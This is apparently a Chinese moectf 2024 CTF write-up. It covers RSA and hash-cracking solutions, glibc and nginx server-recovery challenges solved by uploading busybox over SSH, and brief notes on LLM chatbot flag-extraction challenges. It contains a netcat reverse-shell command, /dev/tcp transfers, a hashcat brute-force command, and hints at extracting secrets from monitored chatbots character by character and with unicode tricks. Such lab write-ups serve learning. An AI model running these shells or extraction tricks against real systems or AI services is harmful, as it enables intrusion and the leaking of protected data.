d = inverse(e, phi_n)
# Decrypt the ciphertext
m = pow(c, d, n)
# Convert the decrypted message back to bytes
decrypted_flag = long_to_bytes(m)
decrypted_flag
Signin
from Crypto.Util.number import*
from secret import flag
m = bytes_to_long(flag)
p = getPrime(1024)
q = getPrime(1024)
n = p*q
e = 65537
c = pow(men)
pq = (p-1)*(q-2)
qp = (q-1)*(p-2)
p_q = p + q
print(f"{c = }")
print(f"{pq = }")
print(f"{qp = }")
print(f"{n = }")
print(f"{p_q = }")
'''
c = 5654386228732582062836480859915557858019553457231956237167652323191768422394980061906028416785155458721240012614551996577092521454960121688179565370052222983096211611352630963027300416387011219744891121506834201808533675072141450111382372702075488292867077512403293072053681315714857246273046785264966933854754543533442866929316042885151966997466549713023923528666038905359773392516627983694351534177829247262148749867874156066768643169675380054673701641774814655290118723774060082161615682005335103074445205806731112430609256580951996554318845128022415956933291151825345962528562570998777860222407032989708801549746
pq = 18047017539289114275195019384090026530425758236625347121394903879980914618669633902668100353788910470141976640337675700570573127020693081175961988571621759711122062452192526924744760561788625702044632350319245961013430665853071569777307047934247268954386678746085438134169871118814865536503043639618655569687154230787854196153067547938936776488741864214499155892870610823979739278296501074632962069426593691194105670021035337609896886690049677222778251559566664735419100459953672218523709852732976706321086266274840999100037702428847290063111455101343033924136386513077951516363739936487970952511422443500922412450462
qp = 18047017539289114275195019384090026530425758236625347121394903879980914618669633902668100353788910470141976640337675700570573127020693081175961988571621759711122062452192526924744760561788625702044632350319245961013430665853071569777307047934247268954386678746085438134169871118814865536503043639618655569687077087914198877794354459669808240133383828356379423767736753506794441545506312066344576298453957064590180141648690226266236642320508613544047037110363523129966437840660693885863331837516125853621802358973786440314619135781324447765480391038912783714312479080029167695447650048419230865326299964671353746764860
n = 18047017539289114275195019384090026530425758236625347121394903879980914618669633902668100353788910470141976640337675700570573127020693081175961988571621759711122062452192526924744760561788625702044632350319245961013430665853071569777307047934247268954386678746085438134169871118814865536503043639618655569687534959910892789661065614807265825078942931717855566686073463382398417205648946713373617006449901977718981043020664616841303517708207413215548110294271101267236070252015782044263961319221848136717220979435486850254298686692230935985442120369913666939804135884857831857184001072678312992442792825575636200505903
p_q = 279533706577501791569740668595544511920056954944184570513187478007551195831693428589898548339751066551225424790534556602157835468618845221423643972870671556362200734472399328046960316064864571163851111207448753697980178391430044714097464866523838747053135392202848167518870720149808055682621080992998747265496
'''
n=p×q
$p_q = p+q $
还原p和q
x2−(pq)×x+n=0
p, q = {p_q \pm \sqrt{p_q^2 - 4n} \over 2}
解密脚本
from math import isqrt
from Crypto.Util.number import long_to_bytes, inverse
# Given values
c = 5654386228732582062836480859915557858019553457231956237167652323191768422394980061906028416785155458721240012614551996577092521454960121688179565370052222983096211611352630963027300416387011219744891121506834201808533675072141450111382372702075488292867077512403293072053681315714857246273046785264966933854754543533442866929316042885151966997466549713023923528666038905359773392516627983694351534177829247262148749867874156066768643169675380054673701641774814655290118723774060082161615682005335103074445205806731112430609256580951996554318845128022415956933291151825345962528562570998777860222407032989708801549746
pq = 18047017539289114275195019384090026530425758236625347121394903879980914618669633902668100353788910470141976640337675700570573127020693081175961988571621759711122062452192526924744760561788625702044632350319245961013430665853071569777307047934247268954386678746085438134169871118814865536503043639618655569687154230787854196153067547938936776488741864214499155892870610823979739278296501074632962069426593691194105670021035337609896886690049677222778251559566664735419100459953672218523709852732976706321086266274840999100037702428847290063111455101343033924136386513077951516363739936487970952511422443500922412450462
qp = 18047017539289114275195019384090026530425758236625347121394903879980914618669633902668100353788910470141976640337675700570573127020693081175961988571621759711122062452192526924744760561788625702044632350319245961013430665853071569777307047934247268954386678746085438134169871118814865536503043639618655569687077087914198877794354459669808240133383828356379423767736753506794441545506312066344576298453957064590180141648690226266236642320508613544047037110363523129966437840660693885863331837516125853621802358973786440314619135781324447765480391038912783714312479080029167695447650048419230865326299964671353746764860
n = 18047017539289114275195019384090026530425758236625347121394903879980914618669633902668100353788910470141976640337675700570573127020693081175961988571621759711122062452192526924744760561788625702044632350319245961013430665853071569777307047934247268954386678746085438134169871118814865536503043639618655569687534959910892789661065614807265825078942931717855566686073463382398417205648946713373617006449901977718981043020664616841303517708207413215548110294271101267236070252015782044263961319221848136717220979435486850254298686692230935985442120369913666939804135884857831857184001072678312992442792825575636200505903
p_q = 279533706577501791569740668595544511920056954944184570513187478007551195831693428589898548339751066551225424790534556602157835468618845221423643972870671556362200734472399328046960316064864571163851111207448753697980178391430044714097464866523838747053135392202848167518870720149808055682621080992998747265496
e=65537
# Solving quadratic equation to find p and q
# p q = (p_q ± sqrt(p_q^2 - 4 * n)) / 2
discriminant = p_q**2 - 4 * n
sqrt_discriminant = isqrt(discriminant)
p = (p_q + sqrt_discriminant) // 2
q = (p_q - sqrt_discriminant) // 2
# Verify if p and q are correct by checking p * q == n
assert p * q == n
# Compute phi(n)
phi_n = (p - 1) * (q - 1)
# Compute the private key exponent d
d = inverse(e, phi_n)
# Decrypt the ciphertext
m = pow(c, d, n)
# Convert the decrypted message back to bytes
decrypted_flag = long_to_bytes(m)
print(decrypted_flag)
moectf{Just_4_signin_ch4ll3ng3_for_y0u}
ez_hash
【大帅比深情渗透小王涛飻】对某个女神一见钟情,于是他主动上前想要询问女神的联系方式,女神一眼就看出了【大帅比深情渗透小王涛飻】是打CTF的,于是便说:“想要得到我的联系方式就努力解出下面的题目吧。“
from hashlib import sha256
from secret import flag, secrets
assert flag == b'moectf{' + secrets + b'}'
assert secrets[:4] == b'2100' and len(secrets) == 10
hash_value = sha256(secrets).hexdigest()
print(f"{hash_value = }")
# hash_value = '3a5137149f705e4da1bf6742e62c018e3f7a1784ceebcb0030656a2b42f50b6a'
sha256前四位已知,长度确定
把hash值丢进文件里
echo "3a5137149f705e4da1bf6742e62c018e3f7a1784ceebcb0030656a2b42f50b6a" > hash.txt
利用hashcat爆破出secrets
hashcat -m 1400 hash.txt -a 3 2100?d?d?d?d?d?d
Big and small
from secret import flag
from Crypto.Util.number import*
m = long_to_bytes(flag)
p = getPrime(1024)
q = getPrime(1024)
n = p*q
e = 3
c = pow(men)
'''
c = 150409620528288093947185249913242033500530715593845912018225648212915478065982806112747164334970339684262757
e = 3
n = 20279309983698966932589436610174513524888616098014944133902125993694471293062261713076591251054086174169670848598415548609375570643330808663804049384020949389856831520202461767497906977295453545771698220639545101966866003886108320987081153619862170206953817850993602202650467676163476075276351519648193219850062278314841385459627485588891326899019745457679891867632849975694274064320723175687748633644074614068978098629566677125696150343248924059801632081514235975357906763251498042129457546586971828204136347260818828746304688911632041538714834683709493303900837361850396599138626509382069186433843547745480160634787
'''
from sympy import root
from Crypto.Util.number import long_to_bytes
# Given values
c = 150409620528288093947185249913242033500530715593845912018225648212915478065982806112747164334970339684262757
e = 3
n = 20279309983698966932589436610174513524888616098014944133902125993694471293062261713076591251054086174169670848598415548609375570643330808663804049384020949389856831520202461767497906977295453545771698220639545101966866003886108320987081153619862170206953817850993602202650467676163476075276351519648193219850062278314841385459627485588891326899019745457679891867632849975694274064320723175687748633644074614068978098629566677125696150343248924059801632081514235975357906763251498042129457546586971828204136347260818828746304688911632041538714834683709493303900837361850396599138626509382069186433843547745480160634787
# Calculating the cube root of c
m = root(c, e)
m_bytes = long_to_bytes(m)
flag=m_bytes.decode('utf-8', errors='ignore') # Decoding the plaintext as a string
print(flag)
开发与运维基础
运维入门指北
欢迎来到运维的世界!
运维的全称是运行和维护,主要工作是保障各类设备,系统,网络正常运行和可用。运维工程师的重要程度不亚于开发,是真正活跃在软件服务一线的工人。
当我动笔写这么一篇入门指北的时候,我其实不太知道到底应该写些什么。运维的知识太过零碎和繁杂,而且不易系统学习。虽然我在计算机相关专业读了五年书,但是运维技能大多来自日常的瞎倒腾和各种事故处理经验,我到底有没有资格来写一篇运维入门指北,可能还有点存疑。不过来都来了,我尽力给大伙整点感兴趣的东西。
运维所需要具备的技能十分广泛,你可能还需要懂点开发、懂点架构之类的知识。软件工程师更倾向于如何高效率的服务好一个用户,利用算法和架构设计来提供完善的功能,而运维工程师则要负责将这个软件从单一用户服务推广到成千上万的用户,让所有用户可以在同一个服务端点享受相同的服务,互相之间隔离并不受干扰;同时,运维工程师还要负责让服务尽可能的永远运行下去,并且具有良好的错误恢复和负载均衡机制。
作为一名运维,首先你需要学会如何操作自己手上最为灵活和强大的工具 —— 操作系统。接下来,我会介绍一些有关操作系统的使用和常识,并给大家带来一个有趣的运维场景。
GNU/Linux ?
由于 GNU/Linux 在服务器运维市场占据主要优势(以及 Windows Server 需要付费使用),因此本指北、本次比赛的所有运维题目均不包含 Windows 运维技巧。
当本指北聊到操作系统时,一般指 GNU/Linux、Windows、Unix(MacOS X),安卓(套皮/原生)等移动端操作系统暂时不做讨论。移动端操作系统为了用户体验牺牲了维持服务稳定性的机制(杀后台),因此暂时不会出现在运维的世界里。
GNU/Linux 是一个开源的操作系统,由社区驱动和维护,并作为基础设施存在于世界的每个角落里。在开始之前,你需要准备一个 Linux 操作系统作为练手的环境。一般而言,推荐使用 Windows Subsystem for Linux 作为起点,配置简单并且没有损坏你的日常操作系统的风险。另一个可行的方式使用虚拟机安装完整的 Linux 发行版,目前主流的虚拟机软件有 VirtualBox、VMWare 与 Windows 自带的 Hyper-V 虚拟机。VMWare 虽然已经个人版免费,但是想要下载的话入口藏的比较深;Hyper-V 虚拟机的使用起来相对不爽;这里推荐使用 VirtualBox 作为最初的选择,当你的知识储备足够支撑你认清计算机的世界之后,再换你认为最合适的方案也不迟。
如果你配置了 WSL,可以在 Windows 应用商店中安装 Debian、Fedora(仅有非官方打包,保险起见这里不贴链接) 或者 Ubuntu 作为发行版前端;如果是虚拟机起步,在安装好虚拟机之后,可以在这里选择各个发行版的操作系统镜像。
什么是发行版?
发行版是 Linux 社区根据不同的需求、人群与场景定制出的 GNU/Linux 成品操作系统。你可能会在不同的博客里看到
CentOS(已死),Ubuntu,Arch Linux,Debian,Fedora 等等不明觉厉的词汇,这些都是不同的 Linux 发行版,他们之间的大型区别仅在于软件包的版本、安装方式和维护团队不同,其他的大同小异,在初学之时不用过于区分。在你整明白什么是应用程序二进制接口(ABI),以及这个东西会如何影响你之前,本指北仅推荐使用 Debian 作为你最初了解 Linux 系统的发行版。单一版本的 Debian 提供了极其稳定的 ABI 保证与相对较长的生命周期,能够为你避开很多不必要的麻烦;缺点可能是软件包相对老一点(有时候也不是坏事),不过安全更新很及时。
当前(2024年8月17日) Debian 的最新稳定发行版是 Debian 12.6,请使用最新版本。Debian 12 的维护周期一直持续到 2028年7月30日,足够你成长为一代高手。
操作系统驾驶员
GNU/Linux 支持图形化的桌面环境,但大家更常用的是终端。无论是 SSH 服务还是桌面上的虚拟终端pty,还是直接上手tty,你不可避免的要接触到命令行界面,打开终端看到的
$ _
将是你日后的亲密伙伴。作为一名熟练的操作系统驾驶员,学会挂挡踩油门加速漂移
翻车跑路是必不可少的。接下来,你需要先了解 GNU/Linux 发行版独特的包管理器(Debian 的包管理器是具有超级牛力的 APT),然后学习更换软件源、安装常用软件包。在这些完成之后,你就需要尝试摆脱鼠标,双手放在键盘上当钢琴家了。你需要学习基础文件操作、网络栈等等基础理论,理解 Unix-like 系统中一切皆文件的思想,以及 Linux 下可以通过文件完成的各种神奇技巧;最终成为一名合格的操作系统驾驶员。
实践!
在自己的虚拟机里玩的不过瘾,想要一些实战环境?
没问题!点击题目上方的
启动!
开启题目环境,并且使用一个你觉得顺手的 SSH 客户端连接过来,开始你的第一次运维历程吧!ssh user@127.0.0.1 -p <WSRX PORT> user's password: resu root's password: toor
在你的家目录(如何访问你的家目录?
cd
就好!)中有一个文件夹,里面是一系列的文件。你需要使用 shell (除了 bash 之外,也为大家提供了 fish shell)(当然,你复制下来手动整理也可以,但是很不建议)将形如xxxxxxx.bak
的文件清理掉,然后将所有带xml
后缀的文件重命名为html
后缀,然后按照前缀将所有文件分类到对应的文件夹,例如f572d396fae9206628714fb2ce00f72e94f2258f.txt
需要放在f5/72/f572d396fae9206628714fb2ce00f72e94f2258f.txt
下。示例,整理之前:
. ├── 092706746f192f82df391daf82d4cb88784d54f6.txt ├── 09e4c00662a91af0fb8f412e6af1ebc33bd30f10.xml ├── 09e456df4cdb40f929add8e2c1b6b7f14ed3fcc3.bak ├── 09e40ee5e1833a4326d39ca897c975a4d1844691.txt ├── 3dce6e5f02bb5d90e64dd5350d2765c5f685c030.xml ├── 4163c593c89a9131d0b3cbd48f693b46314c06ab.bak ├── 469e6b4dd36903ecaa6bcc37892001619acc4d2b.xml ├── 5ca443c57c477ee96f45e96ac137ca2c2fdd8ec5.bak ├── 7132110060cf439a93442c019f3f9007dbc4f538.txt ├── 9991c2e04babb627b93fbd85360c047357b1f7aa.bak ├── ca3d3a22b8b9c0f8a8d2ace949a9fba991b6b59d.txt └── dc4357fabde5a059149a39012d3b4d7c6ddb87de.xml
整理之后:
. ├── 09 │ └── e4 │ ├── 09e406746f192f82df391daf82d4cb88784d54f6.txt │ ├── 09e40ee5e1833a4326d39ca897c975a4d1844691.txt │ └── 09e4c00662a91af0fb8f412e6af1ebc33bd30f10.html ├── 3d │ └── ce │ └── 3dce6e5f02bb5d90e64dd5350d2765c5f685c030.html ├── 46 │ └── 9e │ └── 469e6b4dd36903ecaa6bcc37892001619acc4d2b.html ├── 71 │ └── 32 │ └── 7132110060cf439a93442c019f3f9007dbc4f538.txt ├── ca │ └── 3d │ └── ca3d3a22b8b9c0f8a8d2ace949a9fba991b6b59d.txt └── dc └── 43 └── dc4357fabde5a059149a39012d3b4d7c6ddb87de.html
全部整理完毕后,使用 root 用户将其移至
/var/www/html
文件夹下,然后稍等片刻,从/var/log/nginx/access.log
里找 flag 就可以了!如果你操作熟练的话,shell 指令的运行次数不超过三次,shell 脚本的长度不超过 10 行(故意把多条指令通过分号或者&&压缩进一行来将操作流程压缩到 10 行以内的不算,这里的 10 行包含条件指令结束符)
当然 10 行只是优解,题目并没有限制指令运行次数,祝你玩得愉快!
rm *bak
for file in *.xml; do mv "$file" "${file%.xml}.html"; done
for file in *; do
# 检查是否为文件(排除目录)
if [ -f "$file" ]; then
# 提取文件名前两位和接下来的两位
prefix1=${file:0:2}
prefix2=${file:2:2}
# 创建目标目录(如果不存在)
mkdir -p "$prefix1/$prefix2"
# 移动文件到相应的目录中
mv "$file" "$prefix1/$prefix2/"
fi
done
一开始ssh说不让连,su也密码错误,提示说要提权,以为是那个提权,没想到是su提权,ORZ
su root
toor
cp -r * /var/www/html
cat /var/log/nginx/a*
哦不!我的libc!
出题人低估了一些奇技淫巧导致这题非预期较多,先滑跪了 Orz,用修改过的运维场景来面对各位黑客还是太欠考虑了。稍后会放出更还原的场景,敬请期待,本题不会修改。
本题取材于真实事件。
Reverier 是个干运维的,7x24 小时服务随叫随到的那种。
他负责了好几台服务器,没事还要响应各种各样的小事故(说通俗点就是擦屁股的),比如什么学弟不小心给自己的
/usr/lib
删了啊,隔壁楼实验室的学姐运维的古老 Ubuntu 14 找不到软件源了啊,楼上课题组跑 AI 的机器 CUDA 又爆了啊,室友搞二进制分析用的 PowerPC 虚拟机又起不来了什么的。每次帮忙完,Reverier 都会去学校的 711 便利店买一瓶椰子水犒劳一下自己。
好了这是前言,然后今天 Reverier 遇到了一个离谱的事。
西安电子科技大学的一些课题组使用的古老服务器有些来源于超算中心,有些则在祖传了很久的老旧机房里,想联系到硬件管理员难如登天,联系到了他也不一定找得到钥匙。然后大伙就都用着一根网线连接着一台不知道跑了多久的 linux 机器凑合用。直到有一天,有一个哥们手滑给 glibc 卸载了。
glibc 是什么东西呢?几乎所有的现代 GNU/Linux 程序都链接在上面(musl程序毕竟是少数)。这下好了,连基础的 ls、cp、mv 都没法用了。于是这哥们开始寻找补救措施,有好几个学长的毕业论文数据还在上面呢,这要是丢了那学长们就可以和他同一年毕业了。但是怎么补救啊?手头啥也没有,于是问了一圈人,给 Reverier 冤大头找来了。现在整个服务器只有一个 shell 还活着,没有 glibc 连新的 ssh 连接都无法建立。
抢救完这一单,Reverier 感觉自己冒了一斤的汗。时间回到那个萧瑟冬天的下午,你能从这样一个棘手场景中将服务器抢救回来吗?
题目连接方式:
$ ssh root@127.0.0.1 -p <port> root 的密码: toor
注:为了降低难度,
你只需要恢复,难度降得有点太多了,大伙试试花式解题罢。ls
和cat
即可完成题目目标,无须恢复服务器的 glibc再注:此环境为一次性环境,如果没能一次性成功抢救服务器,断连之后服务器就彻底迷失在落满尘土的机房里了。(第一次抢救失败后请重启环境)
再注:平台的网络不太稳定,WebSocket连接有可能会断。如果频繁断连影响做题,你可以考虑给以下配置加入你的 ssh config 中:
Host * ServerAliveInterval 5 ServerAliveCountMax 30
flag 文件在
/flag.txt
。
glibc
- 定义: GNU C Library(glibc)是GNU项目提供的C标准库的实现,是Linux系统上最常用的C标准库实现之一。
- 作用: glibc不仅实现了C标准库的功能,还扩展了很多POSIX标准的功能,如多线程、进程间通信、网络编程等。它是许多Linux应用程序和库的基础。
- 与C标准库的关系: glibc 是C标准库的一种具体实现,同时也实现了POSIX标准库的功能。它是在Linux系统上实现C标准库的最常用方法。
- 与操作系统的关系: glibc与Linux内核紧密结合,提供了应用程序与操作系统之间的接口。
可执行文件如何调用 glibc
1. 程序编译阶段
- 当一个程序(如
ls
)用 C 语言编写并编译时,编译器会将 C 代码转换为机器代码。这个机器代码包括程序的主逻辑以及对各种库函数(如printf
malloc
)的调用。 - 这些库函数大多来自 glibc。编译器会将这些库函数的符号链接到 glibc 动态库中。
- 编译器通常会生成一个可执行文件,并且在编译时链接 glibc。链接过程中,程序的二进制代码中会包含对 glibc 的依赖信息。这个依赖信息包括所需的动态库路径(如
/lib/x86_64-linux-gnu/libc.so.6
)。
2. 程序加载阶段
- 当用户在终端中执行一个
/bin
目录下的可执行文件时(例如执行ls
命令),操作系统的内核会启动一个新的进程来加载该可执行文件。 - 操作系统的内核会首先读取可执行文件的头信息(ELF 文件格式),获取到该程序的入口点以及动态链接库的路径信息。
- 根据这些信息,内核会加载程序的代码段和数据段到内存,并加载所需的动态库文件(如 glibc)。
3. 动态链接器 (ld.so) 的工作
- 在 Linux 系统中,动态链接器(通常是
/lib/ld-linux.so.2
或/lib64/ld-linux-x86-64.so.2
)负责将可执行文件和动态库连接在一起。 - 当内核加载可执行文件时,动态链接器会被调用来解析所有的动态库依赖,确保 glibc 等必要的库被正确加载。
- 动态链接器会找到 glibc 的位置(例如
/lib/x86_64-linux-gnu/libc.so.6
),并将其加载到内存中。 - 动态链接器会解析程序中所有未解析的符号,将它们链接到 glibc 中的相应函数地址。例如,将
printf
的符号链接到 glibc 的printf
实现。
4. 程序执行阶段
- 当程序开始执行时,例如执行
ls
命令,程序会调用 glibc 提供的函数库。此时 glibc 已经被动态链接器加载并准备就绪。 - 当程序调用
printf
或malloc
等函数时,实际上调用的是 glibc 中相应函数的实现。 - glibc 的这些函数内部会进一步调用 Linux 系统提供的系统调用接口。例如,当
printf
函数需要将数据输出到终端时,它会通过系统调用write
来将数据写入标准输出(通常是文件描述符1
)。 - 系统调用由 glibc 中的
syscall
接口调用 Linux 内核的相关服务。内核会执行实际的 I/O 操作,如向终端写入数据。
5. 程序结束
- 当程序执行完成后(例如
ls
命令列出目录内容后),它可能会调用exit
函数结束程序执行。 exit
函数也由 glibc 提供,它会执行一些清理工作,如关闭文件描述符,释放内存,然后最终通过exit
系统调用通知内核终止进程。- 内核会终止进程,并返回控制权给父进程(通常是 shell)。
整个过程体现了 Linux 程序在运行时是如何依赖于 glibc 的,同时 glibc 作为一个中间层,封装了很多系统调用,使得程序可以以较为简单的方式与内核进行交互。
glic被干掉了,而/usr/bin或/bin下的指令都要依赖glic使用,未
使用bash的内部命令echo和printf(已加载到内存),读取文件
echo "$(</flag.txt)"
看flag应该是非预期解
预期
预期解其实挺有意思的
先看一篇文章如何拯救一台glibc被干掉的Linux服务器? - 知乎 (zhihu.com)
其实就是利用ssh和bash中的printf命令去上传覆盖文件
printf "{hex_content}" >> {remote_file}
BusyBox可以理解为是指令集成工具,万能百宝箱,可以不依赖glic的情况下实现如ls、cat等常见指令
现在只需要上传busybox并执行即可,不过printf重定向一个新文件是没有执行权限的,只能往/usr/bin/中的可执行文件进行重写
但这样又出现一个问题,argv[0]
的内容决定了 BusyBox
会以哪种工具的方式运行,假如将busybox覆写到**/usr/bin/ls**,执行ls时实现的是ls指令
argc是命令行总的参数个数
argv []是argc个参数,其中第 0 个参数是程序的全名
问题不大,我们只需要cat指令,只是每次重启靶机麻烦一些
或者,可以写入cp,先实现cp指令,然后再把这个~~/usr/bin/cp~~(实际上是busybox)cp到其他指令
即
cp /usr/bin/cp /usr/bin/ls
这样就可以实现很多指令了
当然,还有一个问题,就是ssh不能传过于大的数据,busybox二进制文件(amd64)近1mb左右,转成hex数据传输翻了好几倍,需要分段传输
只能脚本实现了
exec_command会单独打开一个新的通道执行命令,且调用的是/bin/bash,一是没这文件,二是有也用不了
报错
/bin/bash: No such file or directory
所以,用send吧
来观💩,大概2分钟内能上传完(ssh不断的前提下),多刷新几下能正常回显,凑合看吧
import time
import paramiko
import sys
def ssh_interactive_shell(chan):
try:
while True:
# 从用户输入中读取命令
command = input("$ ")
if command.strip() == "":
continue
# 发送命令到远程服务器
chan.send(command + "\n")
time.sleep(0.2)
# 读取命令输出
while True:
if chan.recv_ready():
output = chan.recv(1024).decode('utf-8')
sys.stdout.write(output)
sys.stdout.flush()
else:
break
# 如果需要退出
if command.strip().lower() in ["exit", "quit"]:
print("Exiting SSH session.")
break
except KeyboardInterrupt:
print("Session terminated by user.")
def ssh_connect():
hostname = "127.0.0.1"
port= 50065
username = "root"
password = "toor"
try:
# 创建SSH客户端
client = paramiko.SSHClient()
# 自动添加主机密钥
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# 连接到SSH服务器
client.connect(hostname=hostname, port=port, username=username, password=password)
# 打开一个交互式通道
chan = client.invoke_shell()
poc(chan)
print(f"Connected to {hostname}. Type your commands below.")
# 运行交互式shell
ssh_interactive_shell(chan)
except Exception as e:
print(f"An error occurred: {str(e)}")
finally:
client.close()
def poc(ssh):
local_binary_file = "busybox-x86_64.txt" # 本地二进制文件路径
remote_file = "/usr/bin/cp" # 远程目标文件路径
chunk_size = 1024 # 每次写入的字节大小
with open(local_binary_file, "rb") as f:
cnt = 0
while True:
chunk = f.read(chunk_size)
if not chunk:
print("文件读取完毕!")
break # 文件读取完毕
# 将二进制数据转换为十六进制转义序列
hex_content = ''.join([f'\\{hex(byte)[1:]}' for byte in chunk])
# 构造printf命令
command = f'printf "{hex_content}" >> {remote_file}'
#print(command)
if cnt == 0:
command = f'printf "{hex_content}" > {remote_file}'
print(command)
cnt += 1
# 在远程服务器上执行命令
ssh.send(command+'\n')
time.sleep(0.1)
if __name__ == "__main__":
ssh_connect()
靶机不稳定,ssh断连需要重启靶机
出现以下三种情况属于文件传输损坏
当时还以为是cpu架构问题,查看是amd64没错
哦不!我的nginx!
事实证明,偷懒简化场景是不好的,对于上一题出现的非预期失误出题人先滑跪了,这次尽力还原了完整的事故场景,希望大家运维愉快。
场景和行为没有改变,为了方便解题,额外添加了:
- “隔壁的服务器”:从隔壁课题组嫖来的 shell,与损坏服务器在同一内网,两台服务器拥有完全兼容的二进制程序接口(ABI);
- “客户”:会不断请求损坏的服务器,如果客户高兴的话,就会给你 flag(以请求参数形式传递);
请尝试恢复或者重建损坏服务器的 nginx 服务(自建其他服务也可以)。
隔壁的服务器在某些场景下可以方便解题过程,但并不一定用得上。发挥你的聪明才智吧!本题解法不唯一,只是为了获取 flag 的话,可能存在比较无脑的印度人解法,但是就题目初衷而言,还是建议完整的把整个服务器恢复一下。
“隔壁的服务器”
$ ssh user@127.0.0.1 -p <port> password for user: resu
“可怜的服务器”
$ ssh root@127.0.0.1 -p <port> password for root: toor # 修复成功后不要忘了 rm /root/.bashrc <- 模拟干掉 glibc 的指令
平台的多容器环境是共享同一个网卡的,如果需要
neighbor
和broken
之间互相通信,两边访问对方的 IP 地址都是127.0.0.1
,这也带来了一个问题,neighbor
和broken
不能监听同一个端口,做题时请注意。
这题就很有意思了,有两台可控服务器,一台root权限无glibc的一次性ssh服务器,一台user权限的完好服务器,而flag在第三台服务器中,通过向root服务器进行http请求进行验证,验证通过,会有一个GET请求传参flag
预期解应该是要完全修复nginx服务,在access.log日志中拿到flag,不过这个前提需要修复glibc、安装nginx等,备受ssh连接需要保活的困扰,一直在寻求所谓传说中印度人解法
开始和上题预期解一样,分段上传一个busybox
ps.一开始死活传不上去,以为时这题缩小传输量了,加上给了一个同网卡的靶机,便一直想用tcp通道去传输
nc -lvnp 8000 < busybox1
exec 9<>/dev/tcp/127.0.0.1/8000
奈何,将文字描述符定向到文件中成了问题
后找到了base内置read指令
while read -r line <&9; do printf “%s\n” “$line” > /usr/bin/cp; done
但实在是太慢了(本地测试2kb/s),ssh没有交互指令很快就会死(也许可以修改keepalive设置)
理论应该是可以内网传输的,奈何不知如何接收
最后,发现脚本又能传上去了
拿到busybox(/usr/bin/cp)后为了方便可以执行以下
cd /usr/bin
cp cp ls
cp cp cat
cp cp nc
cp cp sh
cp cp busybox #cp文件会继承权限
现在,理论上我们可以为所欲为了
查看/var/www/html
目录,是没有flag的
/files
目录储存第三台服务器向我们访问验证的内容
发现原服务开在80端口
nc监听以下是能看到http请求的,在不断随机验证/files
中文件
脚本受限,可以弹
/usr/bin/sh
到隔壁靶机(相当于vps)监听nc -lvnp 8000
nc 127.0.0.1 8000 -e /usr/bin/sh
当时做到这便陷入了窘境,不得不去弄一个http服务,但又不想修
-
一开始发现busybox中有个httpd可以开启http服务
busybox httpd -f -h /var/www/html -p 0.0.0.0:80
不过没有请求显示,查阅了很久也没找到log日志,理论能验证通过但看不到flag
OpenWrt 维基]BusyBox HTTP 守护程序 (httpd) Web 服务器
httpd.c « networking - busybox - BusyBox: The Swiss Army Knife of Embedded Linux
-
由于bot服务器一直请求80端口,而这两台是共用端口的,在隔壁完好的靶机开放80端口不久行了
遗憾的是没有80端口的权限,这种敏感端口只能root用
-
后来也想过能不能在损坏服务器上将80端口流量转发到其他高端口上,然后通过user服务器进行http服务,不过这样弄代理似乎也很麻烦
在httpd中似乎可以简单实现
最后,还是绕不过搭一个完整的http服务,只能当半个印度人了
众所周知,无论是python2还是python3,都自带轻量化http服务
python2 -m SimpleHTTPServer
python3 -m http.server
这样我们只需要有python环境就可以,不过glibc都没有,何谈python解释器
静态编译yyds
用静态编译的python不就解决了?
还真有这项目
甚至还有release版,无需编译,拿来就用
StaticPython:静态链接的 Python 2.x、3.x 和 Stackless,适用于 32 位 Linux、Mac OS X 和 FreeBSD (rawgit.com)
下载python2.7,可以ftp到隔壁服务器,再nc传到root服务器
user$ nc -lvnp 8888 < python2.7-static
root$ nc 127.0.0.1 8888 > python2.7-static
理论用不到隔壁服务器,用自己的vps也行
赋个权限
busybox chmod 777 /python2.7-static
完美运行
启动HTTP服务
/python2.7-static -m SimpleHTTPServer 80
大语言模型应用安全
Neuro?
出题人看 牛肉撒嘛 头昏脑胀,原来是被蜂群女王控制,于北京时间凌晨两点从床上不自主爬起出了这道题。
点我 --> 题目链接 <-- 点我
临时用户识别码的获取方式和签到题是一样的。
因为本题出得很仓促,所以环境如果出问题请联系出题人。
关注 Vedal 喵,关注 Vedal 谢谢喵!
shift+enter换行
Evil?
由于 Evil Neuro 先天自带的叛逆属性,你似乎能更容易地从她嘴里套到 Flag,但是 Vedal 却在时刻紧盯……
点我 --> 题目链接 <-- 点我
临时用户识别码的获取方式和签到题是一样的。
预期解不唯一,但欢迎反馈自己的解法(从锤子反馈,备注 投稿本题解法)
理论上是可以一个字一个字注出来的
got it!
moectf{3ef075b31ffec403}
并非助手
如果这道题不使用“聊天模型”,阁下又该如何应对?你将隐约接触到大语言模型的本质……
点我 --> 题目链接 <-- 点我
临时用户识别码的获取方式和签到题是一样的。
预期解不唯一,但欢迎反馈自己的解法(从锤子反馈,备注 投稿本题解法)不再接收解法
额外感谢 Deepseek 给我生成了个国产剧情,一开始一千多字,我硬生生砍成五百字然后手动把人物替换成了龟龟和狐狸
并非并非
unicode绕过,每次只能出3个